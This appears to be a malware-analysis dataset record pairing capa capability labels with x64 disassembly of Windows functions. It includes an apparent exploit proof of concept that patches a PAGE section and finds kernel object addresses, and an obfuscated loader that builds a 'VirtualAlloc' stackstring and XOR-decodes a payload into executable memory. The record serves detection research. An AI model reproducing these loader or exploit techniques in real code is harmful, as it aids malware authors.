joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008730
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x80], 0
xor eax, eax
mov word [rsp + 0x40], ax
jmp 0x1400087bf
movzx eax, word [rsp + 0x40]
inc ax
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140008927
movzx eax, word [rsp + 0x40]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
lea rdx, str.PAGE
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140008922
movzx eax, word [rsp + 0x40]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0xb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
movzx eax, word [rsp + 0x40]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 8]
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x88], 0x40
mov byte [rsp + 0x89], 0x53
mov byte [rsp + 0x8a], 0x48
mov byte [rsp + 0x8b], 0x83
mov byte [rsp + 0x8c], 0xec
mov byte [rsp + 0x8d], 0x20
mov byte [rsp + 0x8e], 0x48
mov byte [rsp + 0x8f], 0x83
mov byte [rsp + 0x90], 0x79
mov byte [rsp + 0x91], 0x30
mov byte [rsp + 0x92], 0
mov byte [rsp + 0x93], 0x48
mov byte [rsp + 0x94], 0x8b
mov byte [rsp + 0x95], 0xd9
mov byte [rsp + 0x96], 0x74
mov qword [rsp + 0x68], 0xf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov rdx, rax
mov rcx, qword [rsp + 0xb0]
call fcn.140009000
test eax, eax
je 0x140008920
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
jmp 0x140008927
jmp 0x1400087b2
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140009940
add rsp, 0xa8
ret
Function at 0x140008c40
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.C:UsersPublicexample.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x140008d14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
lea rdx, str.Failed_to_open_dummy_file__error:__lu
lea rcx, [rsp + 0xa0]
call fcn.140002b80
nop
lea rdx, str.c_poc::get_file_object_address
lea rcx, [rsp + 0x90]
call fcn.140002be0
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa0]
lea r8, [rsp + 0x90]
mov edx, 0xc
lea rcx, [0x14000f170]
call fcn.1400065b0
nop
lea rcx, [rsp + 0xa0]
call fcn.140003340
nop
mov eax, 1
jmp 0x140008e7a
mov dword [rsp + 0x50], 0
mov dword [rsp + 0xc0], 0
mov qword [rsp + 0x48], 0
lea r9, [rsp + 0xc0]
mov r8d, dword [rsp + 0xc0]
mov rdx, qword [rsp + 0x48]
mov ecx, 0x10
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xc0000004
jne 0x140008dea
cmp qword [rsp + 0x48], 0
je 0x140008da5
mov eax, dword [rsp + 0xc0]
shl rax, 1
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x48]
mov edx, 8
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x48], rax
jmp 0x140008de5
mov eax, dword [rsp + 0xc0]
shl rax, 1
mov qword [rsp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x88], rax
mov r8, qword [rsp + 0x80]
mov edx, 8
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x48], rax
jmp 0x140008d30
mov qword [rsp + 0x68], 0
cmp dword [rsp + 0x50], 0
jl 0x140008e75
mov dword [rsp + 0x40], 0
jmp 0x140008e0e
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
cmp dword [rsp + 0x40], eax
jae 0x140008e75
mov eax, dword [rsp + 0x40]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax + 8]
mov dword [rsp + 0x58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [rsp + 0x58]
cmp ecx, eax
jne 0x140008e73
mov eax, dword [rsp + 0x40]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax + 0xe]
movzx ecx, word [rsp + 0x60]
cmp eax, ecx
jne 0x140008e73
mov eax, dword [rsp + 0x40]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + rax + 0x10]
mov qword [rsp + 0x68], rax
jmp 0x140008e75
jmp 0x140008e04
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140009940
add rsp, 0xd8
ret
Function at 0x140008ea0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x28]
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000004
jne 0x140008f74
cmp qword [rsp + 0x28], 0
je 0x140008f3e
mov eax, dword [rsp + 0x58]
shl rax, 1
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x40], rax
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x28]
mov edx, 8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x28], rax
jmp 0x140008f6f
mov eax, dword [rsp + 0x58]
shl rax, 1
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x48]
mov edx, 8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x28], rax
jmp 0x140008ed6
cmp dword [rsp + 0x30], 0
jl 0x140008fdf
mov dword [rsp + 0x20], 0
jmp 0x140008f8f
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp dword [rsp + 0x20], eax
jae 0x140008fdf
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x30]
mov rdx, qword [rsp + 0x88]
mov rcx, rax
call fcn.1400093d0
test rax, rax
je 0x140008fdd
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + rax + 0x18]
jmp 0x140008fe1
jmp 0x140008f85
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140009940
add rsp, 0x78
ret

Function at 0x14000a0d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a11a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a11a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a11a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a11a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a11a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a11c
xor al, al
add rsp, 0x28
ret
Function at 0x140001a90
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x850
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov rdi, rcx
mov esi, 0x800
mov r8d, esi
lea rcx, [rsp + 0x40]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp dword [0x140022868], 0
jne 0x140001b65
lea rcx, str.DEPLOY_TRACE_NATIVE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140001b65
call fcn.140001a28
mov rbx, rax
test rax, rax
je 0x140001b65
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x38], eax
lea r9, str._s_s_s__ld.trace
mov qword [rsp + 0x30], rdi
mov r8d, esi
lea rax, [0x140013754]
mov edx, esi
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
call fcn.1400037e8
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [0x140013784]
lea rcx, [rsp + 0x40]
call fcn.1400019f0
mov ecx, dword [0x140022868]
test rax, rax
mov edx, 1
mov qword [0x140022870], rax
cmovne ecx, edx
mov dword [0x140022868], ecx
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400100c0
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140002cb0
Capabilities:
Query environment variable
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x140013990]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbslen]
mov rdi, rax
lea rcx, [rax + 0x105]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140002ceb
xor eax, eax
jmp 0x140002d4c
lea r8d, [rdi + 0x105]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
test eax, eax
jne 0x140002d5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x140002d3e
lea rcx, [rbx - 1]
inc rcx
cmp byte [rcx], 0
jne 0x140002d15
movsd xmm0, qword [str.JavaLow]
mov rdx, rbx
mov al, byte [0x1400139b8]
movsd qword [rcx], xmm0
mov byte [rcx + 8], al
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp edi, 0x104
jbe 0x140002d11
lea rcx, [0x1400139a0]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbslen]
mov rcx, rbx
lea rdx, [rax + 1]
add rdx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8d, edi
xor edx, edx
mov rcx, rsi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140002d11
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002ce7
Function at 0x140007454
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0xd0
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor bl, bl
cmp byte [0x1400233e0], bl
je 0x140007481
mov al, byte [0x1400233e1]
jmp 0x1400074c5
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], DllRegisterServer
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
jne 0x1400074b6
cmp dword [rsp + 0x24], 6
jb 0x1400074b6
mov bl, 1
mov byte [0x1400233e1], bl
mov al, bl
mov byte [0x1400233e0], 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400100c0
add rsp, 0xd0
pop rbx
ret

Function at 0x1400075f0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x20
xor r8d, r8d
mov byte [rax + 0x10], 0
lea rdx, [rax + 0x10]
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
test eax, eax
jne 0x140007629
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
jne 0x14000763f
jmp 0x140007674
mov rcx, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x140007643
xor al, al
jmp 0x140007676
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x14000766b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000766b
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000763f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000796c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x18], 0x10
mov sil, dl
mov rbx, rcx
mov rax, rcx
jb 0x140007993
mov rax, qword [rcx]
cmp byte [rax], 0x2d
je 0x14000799f
xor al, al
jmp 0x140007a72
mov ebp, 0x16
cmp qword [rcx + 0x10], rbp
mov edi, ebp
cmovb rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x1400079b9
mov rcx, qword [rcx]
cmp rdi, rbp
lea rdx, str._Dsun.plugin2.jvm.args
mov r8, rdi
cmova r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400079f5
cmp rdi, rbp
jne 0x1400079f5
lea rcx, str.Invalid_argument_1_n
call fcn.140001bd0
call fcn.140001ba0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x140007a02
mov rcx, qword [rbx]
mov dl, sil
call fcn.140008878
test al, al
jne 0x140007a1f
lea rcx, str.Invalid_argument_2_n
call fcn.140001bd0
jmp 0x140007998
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x140007a2c
mov rcx, qword [rbx]
call fcn.140007fb4
test al, al
je 0x140007a70
cmp qword [rbx + 0x18], 0x10
jb 0x140007a3f
mov rbx, qword [rbx]
mov rcx, rbx
int3
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140009064
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x860
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x850], rax
movzx ebx, r8b
mov rsi, rdx
mov rdi, rcx
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140014ba8]
mov dword [rsp + 0x40], esi
lea r9, str.SOFTWAREJavaSoftJava_Plug_in
mov qword [rsp + 0x20], rax
lea r8, [0x140014bd8]
mov edx, 0x800
lea rcx, [rsp + 0x50]
call fcn.140009ad8
mov r9d, ebx
lea rax, [rsp + 0x48]
shl r9d, 9
lea rdx, [rsp + 0x50]
add r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140009178
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r8, [0x140014be0]
mov qword [rsp + 0x28], rdi
mov r9d, 2
and qword [rsp + 0x20], 0
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140009178
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x140009146
add rax, 5
cmp rax, rsi
ja 0x140009178
dec rdi
inc rdi
cmp byte [rdi], 0
jne 0x14000915b
mov ecx, dword [str._bin]
mov al, 1
mov dword [rdi], ecx
mov cl, byte [0x140014bf0]
mov byte [rdi + 4], cl
jmp 0x14000917a
xor al, al
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.1400100c0
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14000a438
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x260
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x250], rax
movsxd r15, edx
mov r14, rcx
xor ebx, ebx
mov byte [rcx], bl
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x14000a51a
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14000cb28
nop
mov rsi, qword [rax]
test rsi, rsi
je 0x14000a4be
mov rax, qword [rsi + 8]
test rax, rax
jne 0x14000a4c1
mov rcx, qword [rsi]
call fcn.140010ca0
mov qword [rsi + 8], rax
jmp 0x14000a4c1
mov rax, rbx
mov rdx, r15
mov r9d, 0x104
mov r8, rax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsnbcpy_s]
nop
lea rcx, [rsp + 0x30]
call fcn.14000cf44
nop
jmp 0x14000a4ea
test edi, edi
setns bl
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400100c0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.14000d280
xor edx, edx
mov ecx, edi
int3
Function at 0x14000a53c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x260
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x250], rax
movsxd r15, edx
mov r14, rcx
xor ebx, ebx
mov byte [rcx], bl
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x14000a61e
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14000cb28
nop
mov rsi, qword [rax]
test rsi, rsi
je 0x14000a5c2
mov rax, qword [rsi + 8]
test rax, rax
jne 0x14000a5c5
mov rcx, qword [rsi]
call fcn.140010ca0
mov qword [rsi + 8], rax
jmp 0x14000a5c5
mov rax, rbx
mov rdx, r15
mov r9d, 0x104
mov r8, rax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsnbcpy_s]
nop
lea rcx, [rsp + 0x30]
call fcn.14000cf44
nop
jmp 0x14000a5ee
test edi, edi
setns bl
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400100c0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov edx, eax
lea rcx, str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.14000d280
xor edx, edx
mov ecx, edi
int3

Function at 0x14000afa4
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec eax
cmp eax, 0x103
ja 0x14000b02f
xor edx, edx
lea rcx, [rsp + 0x130]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r9, rbx
lea r8, [rsp + 0x20]
lea rdx, [0x140014e3c]
lea rcx, [rsp + 0x130]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x14000b031
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400100c0
add rsp, 0x250
pop rbx
ret

Function at 0x14000b70c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, edx
mov rbx, rcx
test rcx, rcx
je 0x14000b7ab
mov r8d, edi
lea rdx, [rsp + 0x20]
lea rcx, str.USER_JPI_PROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x14000b7a4
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.14000a438
lea r9, [rsp + 0x20]
mov edx, edi
lea r8, [0x1400158d8]
mov rcx, rbx
call fcn.140009ad8
mov rcx, rbx
int3
mov eax, 1
jmp 0x14000b7ad
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400100c0
mov rbx, qword [rsp + 0x160]
add rsp, 0x140
pop rdi
ret
Function at 0x14000ba0c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x850
mov rax, qword [0x140022558]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov r9, rbx
lea r8, str.SOFTWAREClassesCLSID_sInprocServer32
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.140009ad8
lea rax, [rsp + 0x38]
neg edi
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
sbb rcx, rcx
lea rdx, [rsp + 0x40]
add rcx, 0xffffffff80000002
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ebx, ebx
test eax, eax
je 0x14000ba95
cmp eax, 2
sete bl
jmp 0x14000baeb
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x440]
mov dword [rsp + 0x30], 0x400
lea rdx, [0x140014dc6]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x14000bacf
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x14000baed
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x440]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400100c0
add rsp, 0x850
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400104d5
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x1400104f3
je 0x1400104fe
call 0x14001054d
mov bl, 0xc7
lahf
pop rsi
jne 0x1400104de
call 0x1400104f6
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x1400104de
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14001052c
je 0x14001056a
invalid
je 0x14001057b
jne 0x1400104de
lea rax, [0x140010404]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000c165]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14001061c
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140010675
je 0x14001067b
call 0x14001066c
fild qword [rdi - 0x7c]
jmp 0x174f4cdee
jne 0x14001063e
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400105fe
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret